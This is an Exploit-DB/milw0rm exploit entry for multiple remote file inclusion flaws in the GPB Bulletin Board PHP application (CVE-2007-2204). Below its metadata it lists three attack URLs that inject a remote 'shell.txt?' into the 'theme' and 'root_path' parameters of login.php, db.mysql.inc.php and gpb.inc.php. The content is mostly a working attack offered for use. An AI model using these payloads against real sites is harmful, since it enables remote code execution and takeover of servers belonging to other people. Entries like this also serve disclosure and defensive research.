GPB Bulletin Board - Multiple Remote File Inclusions

Author: ThE TiGeR
type: webapps
platform: php
port: 
date_added: 2007-04-23 
date_updated: 2016-09-30 
verified: 1 
codes: OSVDB-37541;CVE-2007-2204;OSVDB-37540;OSVDB-37539 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comgpb-unstable-2001.11.14-1.tar.gz

#GPB bulletin board Remote file include

#Download script : http://gpb.sourceforge.net/download/archive/gpb-unstable-2001.11.14-1.tar.gz

#D0rk : Download Script and install it in ur machine

#Exploit :

#http://localhost/[gpb_path]/themes/ubb/login.php?theme=shell.txt?

#http://localhost/gpb/include/db.mysql.inc.php?root_path= shell.txt?

#http://localhost/gpb/include/gpb.inc.php?root_path=shell.txt?

#Discovered by : ThE TiGeR

#Miro_Tiger100[at]hotmail[dot]com

# milw0rm.com [2007-04-24]